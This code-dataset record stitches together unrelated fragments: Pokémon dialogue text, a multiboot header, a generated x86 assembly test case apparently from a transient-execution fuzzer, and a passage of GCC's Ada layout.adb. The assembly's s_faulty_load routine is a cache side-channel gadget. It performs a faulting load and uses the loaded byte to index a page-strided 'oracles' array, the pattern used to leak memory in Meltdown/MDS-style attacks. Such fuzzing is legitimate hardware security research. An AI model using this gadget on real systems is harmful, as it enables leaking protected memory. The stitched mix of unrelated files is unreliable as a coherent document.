_CopycatsHouse1FText1:: text "My daughter is so" line "self-centered." cont "She only has a" cont "few friends." done _CopycatsHouse1FText2:: text "My daughter likes" line "to mimic people." para "Her mimicry has" line "earned her the" cont "nickname COPYCAT" cont "around here!" done _CopycatsHouse1FText3:: text "CHANSEY: Chaan!" line "Sii!@@"
src/arch/x86_64/multiboot_header.asm
wibbe/writing-an-os-in-rust
0
246698
<gh_stars>0 section .multiboot_header header_start: dd 0xe85250d6 ; magic number (multiboot 2) dd 0 ; architecture 0 (protected mode i386) dd header_end - header_start ; header length ; checksum dd 0x100000000 - (0xe85250d6 + 0 + (header_end - header_start)) ; insert optional multiboot tags here ; required end tag dw 0 ; type dw 0 ; flags dd 8 ; size header_end:
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_881_974.asm
ljhsiun2/medusa
9
10855
<filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_881_974.asm .global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1b835, %rcx nop sub $18820, %r13 mov (%rcx), %eax sub $30841, %rax lea addresses_D_ht+0x73d5, %r8 nop dec %r9 mov $0x6162636465666768, %r10 movq %r10, %xmm4 and $0xffffffffffffffc0, %r8 vmovaps %ymm4, (%r8) nop nop nop sub $41871, %rcx lea addresses_A_ht+0xca45, %rsi lea addresses_A_ht+0x1d715, %rdi nop nop nop add %r8, %r8 mov $20, %rcx rep movsl nop sub $24163, %rax lea addresses_UC_ht+0x1df15, %rsi lea addresses_WT_ht+0x9315, %rdi and %r8, %r8 mov $45, %rcx rep movsw nop dec %rax lea addresses_D_ht+0x13f15, %rsi lea addresses_WC_ht+0x4f15, %rdi nop dec %rax mov $49, %rcx rep movsw nop xor $2562, %rcx lea addresses_WT_ht+0x315, %rsi nop nop nop and %r13, %r13 movups (%rsi), %xmm6 vpextrq $0, %xmm6, %r8 nop nop nop dec %rcx lea addresses_D_ht+0x1af25, %rdi cmp %r10, %r10 movb (%rdi), %r13b nop sub $1606, %rsi lea addresses_UC_ht+0xdf15, %rcx nop nop nop nop add $36151, %rdi mov $0x6162636465666768, %r8 movq %r8, %xmm7 and $0xffffffffffffffc0, %rcx vmovntdq %ymm7, (%rcx) nop nop xor %rcx, %rcx lea addresses_WC_ht+0x15d0e, %rax nop nop nop nop nop sub $30470, %rcx movb $0x61, (%rax) nop nop nop xor $40963, %rdi lea addresses_UC_ht+0x7915, %r9 nop nop nop add $62986, %rax movups (%r9), %xmm4 vpextrq $1, %xmm4, %r10 cmp $60080, %rsi lea addresses_A_ht+0x15f27, %rcx nop nop nop nop and $43057, %r13 movups (%rcx), %xmm4 vpextrq $1, %xmm4, %r10 nop nop nop nop and $1487, %rdi lea addresses_normal_ht+0x6895, %rsi lea addresses_UC_ht+0x1b915, %rdi nop sub %r9, %r9 mov $57, %rcx rep movsq nop nop nop nop sub $45209, %rax lea addresses_D_ht+0x11115, %r8 nop cmp $38990, %rax movb $0x61, (%r8) nop nop nop nop nop add %rcx, %rcx lea addresses_A_ht+0x4835, %rax xor $18086, %rdi mov (%rax), %r8w nop sub %rcx, %rcx lea addresses_WT_ht+0x4315, %r9 clflush (%r9) nop xor %rdi, %rdi mov $0x6162636465666768, %rax movq %rax, %xmm2 and $0xffffffffffffffc0, %r9 vmovaps %ymm2, (%r9) nop nop nop sub %r9, %r9 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r9 push %rcx push %rdi push %rsi // Load lea addresses_RW+0x19495, %rdi nop nop nop sub %r13, %r13 mov (%rdi), %esi nop nop nop nop and $15550, %r9 // Store lea addresses_RW+0xad15, %r9 nop nop sub %r12, %r12 mov $0x5152535455565758, %rdi movq %rdi, (%r9) nop nop nop nop nop xor %rsi, %rsi // Store lea addresses_A+0xc8eb, %r9 nop nop add %r13, %r13 movl $0x51525354, (%r9) nop nop and $6940, %r12 // Store lea addresses_UC+0x1f7c5, %rcx nop nop sub %r14, %r14 mov $0x5152535455565758, %r9 movq %r9, %xmm3 movups %xmm3, (%rcx) nop nop nop nop dec %r12 // Store lea addresses_PSE+0x1b515, %r12 and %r9, %r9 movl $0x51525354, (%r12) nop nop nop nop xor %r9, %r9 // Store lea addresses_UC+0xa595, %r9 nop nop nop xor %rdi, %rdi mov $0x5152535455565758, %r12 movq %r12, (%r9) nop nop inc %r12 // Store lea addresses_normal+0x18f15, %rdi nop cmp $1980, %r9 movw $0x5152, (%rdi) nop nop nop nop nop xor $36709, %r9 // Store lea addresses_normal+0xb4f5, %rdi clflush (%rdi) nop add %r14, %r14 mov $0x5152535455565758, %r9 movq %r9, %xmm3 movups %xmm3, (%rdi) cmp %rsi, %rsi // Store lea addresses_A+0x12315, %r12 add %r9, %r9 mov $0x5152535455565758, %rsi movq %rsi, %xmm1 movaps %xmm1, (%r12) nop dec %r12 // Faulty Load lea addresses_normal+0x2f15, %rsi nop nop nop cmp %r9, %r9 vmovups (%rsi), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %r12 lea oracles, %rdi and $0xff, %r12 shlq $12, %r12 mov (%rdi,%r12,1), %r12 pop %rsi pop %rdi pop %rcx pop %r9 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': True, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 11, 'same': True, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'34': 881} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
gcc-gcc-7_3_0-release/gcc/ada/layout.adb
best08618/asylo
7
28233
<filename>gcc-gcc-7_3_0-release/gcc/ada/layout.adb ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- L A Y O U T -- -- -- -- B o d y -- -- -- -- Copyright (C) 2001-2016, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING3. If not, go to -- -- http://www.gnu.org/licenses for a complete copy of the license. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Atree; use Atree; with Checks; use Checks; with Debug; use Debug; with Einfo; use Einfo; with Errout; use Errout; with Exp_Ch3; use Exp_Ch3; with Exp_Util; use Exp_Util; with Namet; use Namet; with Nlists; use Nlists; with Nmake; use Nmake; with Opt; use Opt; with Repinfo; use Repinfo; with Sem; use Sem; with Sem_Aux; use Sem_Aux; with Sem_Case; use Sem_Case; with Sem_Ch13; use Sem_Ch13; with Sem_Eval; use Sem_Eval; with Sem_Util; use Sem_Util; with Sinfo; use Sinfo; with Snames; use Snames; with Stand; use Stand; with Targparm; use Targparm; with Tbuild; use Tbuild; with Ttypes; use Ttypes; with Uintp; use Uintp; package body Layout is ------------------------ -- Local Declarations -- ------------------------ SSU : constant Int := Ttypes.System_Storage_Unit; -- Short hand for System_Storage_Unit Vname : constant Name_Id := Name_uV; -- Formal parameter name used for functions generated for size offset -- values that depend on the discriminant. All such functions have the -- following form: -- -- function xxx (V : vtyp) return Unsigned is -- begin -- return ... expression involving V.discrim -- end xxx; ----------------------- -- Local Subprograms -- ----------------------- function Assoc_Add (Loc : Source_Ptr; Left_Opnd : Node_Id; Right_Opnd : Node_Id) return Node_Id; -- This is like Make_Op_Add except that it optimizes some cases knowing -- that associative rearrangement is allowed for constant folding if one -- of the operands is a compile time known value. function Assoc_Multiply (Loc : Source_Ptr; Left_Opnd : Node_Id; Right_Opnd : Node_Id) return Node_Id; -- This is like Make_Op_Multiply except that it optimizes some cases -- knowing that associative rearrangement is allowed for constant folding -- if one of the operands is a compile time known value function Assoc_Subtract (Loc : Source_Ptr; Left_Opnd : Node_Id; Right_Opnd : Node_Id) return Node_Id; -- This is like Make_Op_Subtract except that it optimizes some cases -- knowing that associative rearrangement is allowed for constant folding -- if one of the operands is a compile time known value function Bits_To_SU (N : Node_Id) return Node_Id; -- This is used when we cross the boundary from static sizes in bits to -- dynamic sizes in storage units. If the argument N is anything other -- than an integer literal, it is returned unchanged, but if it is an -- integer literal, then it is taken as a size in bits, and is replaced -- by the corresponding size in storage units. function Compute_Length (Lo : Node_Id; Hi : Node_Id) return Node_Id; -- Given expressions for the low bound (Lo) and the high bound (Hi), -- Build an expression for the value hi-lo+1, converted to type -- Standard.Unsigned. Takes care of the case where the operands -- are of an enumeration type (so that the subtraction cannot be -- done directly) by applying the Pos operator to Hi/Lo first. procedure Compute_Size_Depends_On_Discriminant (E : Entity_Id); -- Given an array type or an array subtype E, compute whether its size -- depends on the value of one or more discriminants and set the flag -- Size_Depends_On_Discriminant accordingly. This need not be called -- in front end layout mode since it does the computation on its own. function Expr_From_SO_Ref (Loc : Source_Ptr; D : SO_Ref; Comp : Entity_Id := Empty) return Node_Id; -- Given a value D from a size or offset field, return an expression -- representing the value stored. If the value is known at compile time, -- then an N_Integer_Literal is returned with the appropriate value. If -- the value references a constant entity, then an N_Identifier node -- referencing this entity is returned. If the value denotes a size -- function, then returns a call node denoting the given function, with -- a single actual parameter that either refers to the parameter V of -- an enclosing size function (if Comp is Empty or its type doesn't match -- the function's formal), or else is a selected component V.c when Comp -- denotes a component c whose type matches that of the function formal. -- The Loc value is used for the Sloc value of constructed notes. function SO_Ref_From_Expr (Expr : Node_Id; Ins_Type : Entity_Id; Vtype : Entity_Id := Empty; Make_Func : Boolean := False) return Dynamic_SO_Ref; -- This routine is used in the case where a size/offset value is dynamic -- and is represented by the expression Expr. SO_Ref_From_Expr checks if -- the Expr contains a reference to the identifier V, and if so builds -- a function depending on discriminants of the formal parameter V which -- is of type Vtype. Otherwise, if the parameter Make_Func is True, then -- Expr will be encapsulated in a parameterless function; if Make_Func is -- False, then a constant entity with the value Expr is built. The result -- is a Dynamic_SO_Ref to the created entity. Note that Vtype can be -- omitted if Expr does not contain any reference to V, the created entity. -- The declaration created is inserted in the freeze actions of Ins_Type, -- which also supplies the Sloc for created nodes. This function also takes -- care of making sure that the expression is properly analyzed and -- resolved (which may not be the case yet if we build the expression -- in this unit). function Get_Max_SU_Size (E : Entity_Id) return Node_Id; -- E is an array type or subtype that has at least one index bound that -- is the value of a record discriminant. For such an array, the function -- computes an expression that yields the maximum possible size of the -- array in storage units. The result is not defined for any other type, -- or for arrays that do not depend on discriminants, and it is a fatal -- error to call this unless Size_Depends_On_Discriminant (E) is True. procedure Layout_Array_Type (E : Entity_Id); -- Front-end layout of non-bit-packed array type or subtype procedure Layout_Record_Type (E : Entity_Id); -- Front-end layout of record type procedure Rewrite_Integer (N : Node_Id; V : Uint); -- Rewrite node N with an integer literal whose value is V. The Sloc for -- the new node is taken from N, and the type of the literal is set to a -- copy of the type of N on entry. procedure Set_And_Check_Static_Size (E : Entity_Id; Esiz : SO_Ref; RM_Siz : SO_Ref); -- This procedure is called to check explicit given sizes (possibly stored -- in the Esize and RM_Size fields of E) against computed Object_Size -- (Esiz) and Value_Size (RM_Siz) values. Appropriate errors and warnings -- are posted if specified sizes are inconsistent with specified sizes. On -- return, Esize and RM_Size fields of E are set (either from previously -- given values, or from the newly computed values, as appropriate). procedure Set_Composite_Alignment (E : Entity_Id); -- This procedure is called for record types and subtypes, and also for -- atomic array types and subtypes. If no alignment is set, and the size -- is 2 or 4 (or 8 if the word size is 8), then the alignment is set to -- match the size. ---------------------------- -- Adjust_Esize_Alignment -- ---------------------------- procedure Adjust_Esize_Alignment (E : Entity_Id) is Abits : Int; Esize_Set : Boolean; begin -- Nothing to do if size unknown if Unknown_Esize (E) then return; end if; -- Determine if size is constrained by an attribute definition clause -- which must be obeyed. If so, we cannot increase the size in this -- routine. -- For a type, the issue is whether an object size clause has been set. -- A normal size clause constrains only the value size (RM_Size) if Is_Type (E) then Esize_Set := Has_Object_Size_Clause (E); -- For an object, the issue is whether a size clause is present else Esize_Set := Has_Size_Clause (E); end if; -- If size is known it must be a multiple of the storage unit size if Esize (E) mod SSU /= 0 then -- If not, and size specified, then give error if Esize_Set then Error_Msg_NE ("size for& not a multiple of storage unit size", Size_Clause (E), E); return; -- Otherwise bump up size to a storage unit boundary else Set_Esize (E, (Esize (E) + SSU - 1) / SSU * SSU); end if; end if; -- Now we have the size set, it must be a multiple of the alignment -- nothing more we can do here if the alignment is unknown here. if Unknown_Alignment (E) then return; end if; -- At this point both the Esize and Alignment are known, so we need -- to make sure they are consistent. Abits := UI_To_Int (Alignment (E)) * SSU; if Esize (E) mod Abits = 0 then return; end if; -- Here we have a situation where the Esize is not a multiple of the -- alignment. We must either increase Esize or reduce the alignment to -- correct this situation. -- The case in which we can decrease the alignment is where the -- alignment was not set by an alignment clause, and the type in -- question is a discrete type, where it is definitely safe to reduce -- the alignment. For example: -- t : integer range 1 .. 2; -- for t'size use 8; -- In this situation, the initial alignment of t is 4, copied from -- the Integer base type, but it is safe to reduce it to 1 at this -- stage, since we will only be loading a single storage unit. if Is_Discrete_Type (Etype (E)) and then not Has_Alignment_Clause (E) then loop Abits := Abits / 2; exit when Esize (E) mod Abits = 0; end loop; Init_Alignment (E, Abits / SSU); return; end if; -- Now the only possible approach left is to increase the Esize but we -- can't do that if the size was set by a specific clause. if Esize_Set then Error_Msg_NE ("size for& is not a multiple of alignment", Size_Clause (E), E); -- Otherwise we can indeed increase the size to a multiple of alignment else Set_Esize (E, ((Esize (E) + (Abits - 1)) / Abits) * Abits); end if; end Adjust_Esize_Alignment; --------------- -- Assoc_Add -- --------------- function Assoc_Add (Loc : Source_Ptr; Left_Opnd : Node_Id; Right_Opnd : Node_Id) return Node_Id is L : Node_Id; R : Uint; begin -- Case of right operand is a constant if Compile_Time_Known_Value (Right_Opnd) then L := Left_Opnd; R := Expr_Value (Right_Opnd); -- Case of left operand is a constant elsif Compile_Time_Known_Value (Left_Opnd) then L := Right_Opnd; R := Expr_Value (Left_Opnd); -- Neither operand is a constant, do the addition with no optimization else return Make_Op_Add (Loc, Left_Opnd, Right_Opnd); end if; -- Case of left operand is an addition if Nkind (L) = N_Op_Add then -- (C1 + E) + C2 = (C1 + C2) + E if Compile_Time_Known_Value (Sinfo.Left_Opnd (L)) then Rewrite_Integer (Sinfo.Left_Opnd (L), Expr_Value (Sinfo.Left_Opnd (L)) + R); return L; -- (E + C1) + C2 = E + (C1 + C2) elsif Compile_Time_Known_Value (Sinfo.Right_Opnd (L)) then Rewrite_Integer (Sinfo.Right_Opnd (L), Expr_Value (Sinfo.Right_Opnd (L)) + R); return L; end if; -- Case of left operand is a subtraction elsif Nkind (L) = N_Op_Subtract then -- (C1 - E) + C2 = (C1 + C2) - E if Compile_Time_Known_Value (Sinfo.Left_Opnd (L)) then Rewrite_Integer (Sinfo.Left_Opnd (L), Expr_Value (Sinfo.Left_Opnd (L)) + R); return L; -- (E - C1) + C2 = E - (C1 - C2) -- If the type is unsigned then only do the optimization if C1 >= C2, -- to avoid creating a negative literal that can't be used with the -- unsigned type. elsif Compile_Time_Known_Value (Sinfo.Right_Opnd (L)) and then (not Is_Unsigned_Type (Etype (Sinfo.Right_Opnd (L))) or else Expr_Value (Sinfo.Right_Opnd (L)) >= R) then Rewrite_Integer (Sinfo.Right_Opnd (L), Expr_Value (Sinfo.Right_Opnd (L)) - R); return L; end if; end if; -- Not optimizable, do the addition return Make_Op_Add (Loc, Left_Opnd, Right_Opnd); end Assoc_Add; -------------------- -- Assoc_Multiply -- -------------------- function Assoc_Multiply (Loc : Source_Ptr; Left_Opnd : Node_Id; Right_Opnd : Node_Id) return Node_Id is L : Node_Id; R : Uint; begin -- Case of right operand is a constant if Compile_Time_Known_Value (Right_Opnd) then L := Left_Opnd; R := Expr_Value (Right_Opnd); -- Case of left operand is a constant elsif Compile_Time_Known_Value (Left_Opnd) then L := Right_Opnd; R := Expr_Value (Left_Opnd); -- Neither operand is a constant, do the multiply with no optimization else return Make_Op_Multiply (Loc, Left_Opnd, Right_Opnd); end if; -- Case of left operand is an multiplication if Nkind (L) = N_Op_Multiply then -- (C1 * E) * C2 = (C1 * C2) + E if Compile_Time_Known_Value (Sinfo.Left_Opnd (L)) then Rewrite_Integer (Sinfo.Left_Opnd (L), Expr_Value (Sinfo.Left_Opnd (L)) * R); return L; -- (E * C1) * C2 = E * (C1 * C2) elsif Compile_Time_Known_Value (Sinfo.Right_Opnd (L)) then Rewrite_Integer (Sinfo.Right_Opnd (L), Expr_Value (Sinfo.Right_Opnd (L)) * R); return L; end if; end if; -- Not optimizable, do the multiplication return Make_Op_Multiply (Loc, Left_Opnd, Right_Opnd); end Assoc_Multiply; -------------------- -- Assoc_Subtract -- -------------------- function Assoc_Subtract (Loc : Source_Ptr; Left_Opnd : Node_Id; Right_Opnd : Node_Id) return Node_Id is L : Node_Id; R : Uint; begin -- Case of right operand is a constant if Compile_Time_Known_Value (Right_Opnd) then L := Left_Opnd; R := Expr_Value (Right_Opnd); -- Right operand is a constant, do the subtract with no optimization else return Make_Op_Subtract (Loc, Left_Opnd, Right_Opnd); end if; -- Case of left operand is an addition if Nkind (L) = N_Op_Add then -- (C1 + E) - C2 = (C1 - C2) + E if Compile_Time_Known_Value (Sinfo.Left_Opnd (L)) then Rewrite_Integer (Sinfo.Left_Opnd (L), Expr_Value (Sinfo.Left_Opnd (L)) - R); return L; -- (E + C1) - C2 = E + (C1 - C2) elsif Compile_Time_Known_Value (Sinfo.Right_Opnd (L)) then Rewrite_Integer (Sinfo.Right_Opnd (L), Expr_Value (Sinfo.Right_Opnd (L)) - R); return L; end if; -- Case of left operand is a subtraction elsif Nkind (L) = N_Op_Subtract then -- (C1 - E) - C2 = (C1 - C2) + E if Compile_Time_Known_Value (Sinfo.Left_Opnd (L)) then Rewrite_Integer (Sinfo.Left_Opnd (L), Expr_Value (Sinfo.Left_Opnd (L)) + R); return L; -- (E - C1) - C2 = E - (C1 + C2) elsif Compile_Time_Known_Value (Sinfo.Right_Opnd (L)) then Rewrite_Integer (Sinfo.Right_Opnd (L), Expr_Value (Sinfo.Right_Opnd (L)) + R); return L; end if; end if; -- Not optimizable, do the subtraction return Make_Op_Subtract (Loc, Left_Opnd, Right_Opnd); end Assoc_Subtract; ---------------- -- Bits_To_SU -- ---------------- function Bits_To_SU (N : Node_Id) return Node_Id is begin if Nkind (N) = N_Integer_Literal then Set_Intval (N, (Intval (N) + (SSU - 1)) / SSU); end if; return N; end Bits_To_SU; -------------------- -- Compute_Length -- -------------------- function Compute_Length (Lo : Node_Id; Hi : Node_Id) return Node_Id is Loc : constant Source_Ptr := Sloc (Lo); Typ : constant Entity_Id := Etype (Lo); Lo_Op : Node_Id; Hi_Op : Node_Id; Lo_Dim : Uint; Hi_Dim : Uint; begin -- If the bounds are First and Last attributes for the same dimension -- and both have prefixes that denotes the same entity, then we create -- and return a Length attribute. This may allow the back end to -- generate better code in cases where it already has the length. if Nkind (Lo) = N_Attribute_Reference and then Attribute_Name (Lo) = Name_First and then Nkind (Hi) = N_Attribute_Reference and then Attribute_Name (Hi) = Name_Last and then Is_Entity_Name (Prefix (Lo)) and then Is_Entity_Name (Prefix (Hi)) and then Entity (Prefix (Lo)) = Entity (Prefix (Hi)) then Lo_Dim := Uint_1; Hi_Dim := Uint_1; if Present (First (Expressions (Lo))) then Lo_Dim := Expr_Value (First (Expressions (Lo))); end if; if Present (First (Expressions (Hi))) then Hi_Dim := Expr_Value (First (Expressions (Hi))); end if; if Lo_Dim = Hi_Dim then return Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Entity (Prefix (Lo)), Loc), Attribute_Name => Name_Length, Expressions => New_List (Make_Integer_Literal (Loc, Lo_Dim))); end if; end if; Lo_Op := New_Copy_Tree (Lo); Hi_Op := New_Copy_Tree (Hi); -- If type is enumeration type, then use Pos attribute to convert -- to integer type for which subtraction is a permitted operation. if Is_Enumeration_Type (Typ) then Lo_Op := Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Typ, Loc), Attribute_Name => Name_Pos, Expressions => New_List (Lo_Op)); Hi_Op := Make_Attribute_Reference (Loc, Prefix => New_Occurrence_Of (Typ, Loc), Attribute_Name => Name_Pos, Expressions => New_List (Hi_Op)); end if; return Assoc_Add (Loc, Left_Opnd => Assoc_Subtract (Loc, Left_Opnd => Hi_Op, Right_Opnd => Lo_Op), Right_Opnd => Make_Integer_Literal (Loc, 1)); end Compute_Length; ---------------------- -- Expr_From_SO_Ref -- ---------------------- function Expr_From_SO_Ref (Loc : Source_Ptr; D : SO_Ref; Comp : Entity_Id := Empty) return Node_Id is Ent : Entity_Id; begin if Is_Dynamic_SO_Ref (D) then Ent := Get_Dynamic_SO_Entity (D); if Is_Discrim_SO_Function (Ent) then -- If a component is passed in whose type matches the type of -- the function formal, then select that component from the "V" -- parameter rather than passing "V" directly. if Present (Comp) and then Base_Type (Etype (Comp)) = Base_Type (Etype (First_Formal (Ent))) then return Make_Function_Call (Loc, Name => New_Occurrence_Of (Ent, Loc), Parameter_Associations => New_List ( Make_Selected_Component (Loc, Prefix => Make_Identifier (Loc, Vname), Selector_Name => New_Occurrence_Of (Comp, Loc)))); else return Make_Function_Call (Loc, Name => New_Occurrence_Of (Ent, Loc), Parameter_Associations => New_List ( Make_Identifier (Loc, Vname))); end if; else return New_Occurrence_Of (Ent, Loc); end if; else return Make_Integer_Literal (Loc, D); end if; end Expr_From_SO_Ref; --------------------- -- Get_Max_SU_Size -- --------------------- function Get_Max_SU_Size (E : Entity_Id) return Node_Id is Loc : constant Source_Ptr := Sloc (E); Indx : Node_Id; Ityp : Entity_Id; Lo : Node_Id; Hi : Node_Id; S : Uint; Len : Node_Id; type Val_Status_Type is (Const, Dynamic); type Val_Type (Status : Val_Status_Type := Const) is record case Status is when Const => Val : Uint; when Dynamic => Nod : Node_Id; end case; end record; -- Shows the status of the value so far. Const means that the value is -- constant, and Val is the current constant value. Dynamic means that -- the value is dynamic, and in this case Nod is the Node_Id of the -- expression to compute the value. Size : Val_Type; -- Calculated value so far if Size.Status = Const, -- or expression value so far if Size.Status = Dynamic. SU_Convert_Required : Boolean := False; -- This is set to True if the final result must be converted from bits -- to storage units 